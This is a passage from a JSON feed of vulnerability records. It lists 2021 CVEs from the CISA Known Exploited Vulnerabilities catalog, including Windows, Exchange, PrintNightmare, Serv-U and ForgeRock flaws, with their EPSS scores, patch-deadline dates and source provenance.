score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-31755&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-31755, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-31955","cveId":"CVE-2021-31955","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Information Disclosure Vulnerability","summary":"Microsoft Windows Kernel contains an unspecified vulnerability that allows for information disclosure. Successful exploitation allows attackers to read the contents of kernel memory from a user-mode process.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.81107,"percentile":0.9963,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-31955&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-31955","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-31955 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-31955&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-31955, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-31956","cveId":"CVE-2021-31956","aliases":[],"kind":"vulnerability","title":"Microsoft Windows NTFS Privilege Escalation Vulnerability","summary":"Microsoft Windows New Technology File System (NTFS) contains an unspecified vulnerability that allows attackers to escalate privileges via a specially crafted application.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22273,"percentile":0.97665,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-31956&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-31956","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-31956 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-31956&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-31956, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-31979","cveId":"CVE-2021-31979","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Privilege Escalation Vulnerability","summary":"Microsoft Windows kernel contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0454,"percentile":0.915,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-31979&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-31979","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-31979 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-31979&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-31979, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-33739","cveId":"CVE-2021-33739","aliases":[],"kind":"vulnerability","title":"Microsoft Desktop Window Manager (DWM) Core Library Privilege Escalation Vulnerability","summary":"Microsoft Desktop Window Manager (DWM) Core Library contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06555,"percentile":0.93763,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-33739&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-33739","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-33739 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-33739&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-33739, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-33742","cveId":"CVE-2021-33742","aliases":[],"kind":"vulnerability","title":"Microsoft Windows MSHTML Platform Remote Code Execution Vulnerability","summary":"Microsoft Windows MSHTML Platform contains an unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.59407,"percentile":0.99114,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-33742&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-33742","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-33742 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-33742&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-33742, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-33771","cveId":"CVE-2021-33771","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Privilege Escalation Vulnerability","summary":"Microsoft Windows kernel contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10172,"percentile":0.95627,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-33771&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-33771","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-33771 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-33771&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-33771, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-34448","cveId":"CVE-2021-34448","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Scripting Engine Memory Corruption Vulnerability","summary":"Microsoft Windows Scripting Engine contains an unspecified vulnerability that allows for memory corruption.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.40062,"percentile":0.98623,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-34448&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-34448","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-34448 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-34448&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-34448, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-34473","cveId":"CVE-2021-34473","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Remote Code Execution Vulnerability","summary":"Microsoft Exchange Server contains an unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-34473&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-34473","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-34473 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-34473&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-34473, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-34523","cveId":"CVE-2021-34523","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Privilege Escalation Vulnerability","summary":"Microsoft Exchange Server contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9999,"percentile":0.99985,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-34523&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-34523","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-34523 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-34523&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-34523, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-34527","cveId":"CVE-2021-34527","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Print Spooler Remote Code Execution Vulnerability","summary":"Microsoft Windows Print Spooler contains an unspecified vulnerability due to the Windows Print Spooler service improperly performing privileged file operations. Successful exploitation allows an attacker to perform remote code execution with SYSTEM privileges. The vulnerability is also known under the moniker of PrintNightmare.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99792,"percentile":0.99956,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-34527&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-34527","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-34527 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-34527&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-34527, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-35211","cveId":"CVE-2021-35211","aliases":[],"kind":"vulnerability","title":"SolarWinds Serv-U Remote Code Execution Vulnerability","summary":"SolarWinds Serv-U contains an unspecified memory escape vulnerability which can allow for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SolarWinds","product":"Serv-U","stacks":["SolarWinds","Serv-U"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9116,"percentile":0.99807,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-35211&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-35211","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-35211 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-35211&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-35211, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-35395","cveId":"CVE-2021-35395","aliases":[],"kind":"vulnerability","title":"Realtek AP-Router SDK Buffer Overflow Vulnerability","summary":"Realtek AP-Router SDK HTTP web server boa contains a buffer overflow vulnerability due to unsafe copies of some overly long parameters submitted in the form that lead to denial-of-service (DoS).","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Realtek","product":"AP-Router SDK","stacks":["Realtek","AP-Router SDK"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.981,"percentile":0.99911,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-35395&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-35395","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-35395 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-35395&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-35395, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-35464","cveId":"CVE-2021-35464","aliases":[],"kind":"vulnerability","title":"ForgeRock Access Management (AM) Core Server Remote Code Execution Vulnerability","summary":"ForgeRock Access Management (AM) Core Server allows an attacker who sends a specially crafted HTTP request to one of three endpoints (/ccversion/Version, /ccversion/Masthead, or /ccversion/ButtonFrame) to execute code in the context of the current user (unless ForgeRock AM is running as root user, which the vendor does not recommend).","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"ForgeRock","product":"Access Management (AM)","stacks":["ForgeRock","Access Management (AM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-35464&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-35464","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-35464 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-35464&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-35464, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-36741","cveId":"CVE-2021-36741","aliases":[],"kind":"vulnerability","title":"Trend Micro Multiple Products Improper Input Validation Vulnerability","summary":"Trend Micro Apex One, Apex One as a Service, and Worry-Free Business Security contain an improper input validation vulnerability that allows a remote attacker to upload files.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Trend Micro","product":"Apex One, Apex One as a Service, and Worry-Free Business Security","stacks":["Trend Micro","Apex One, Apex One as a Service, and Worry-Free Business Security"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04951,"percentile":0.92107,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-36741&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-36741","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-36741 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-36741&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-36741, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-36742","cveId":"CVE-2021-36742","aliases":[],"kind":"vulnerability","title":"Trend Micro Multiple Products Improper Input Validation Vulnerability","summary":"Trend Micro Apex One, Apex One as a Service, and Worry-Free Business Security contain an improper input validation vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Trend Micro","product":"Apex One, Apex One as a Service, and Worry-Free Business Security","stacks":["Trend Micro","Apex One, Apex One as a Service, and Worry-Free Business Security"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor 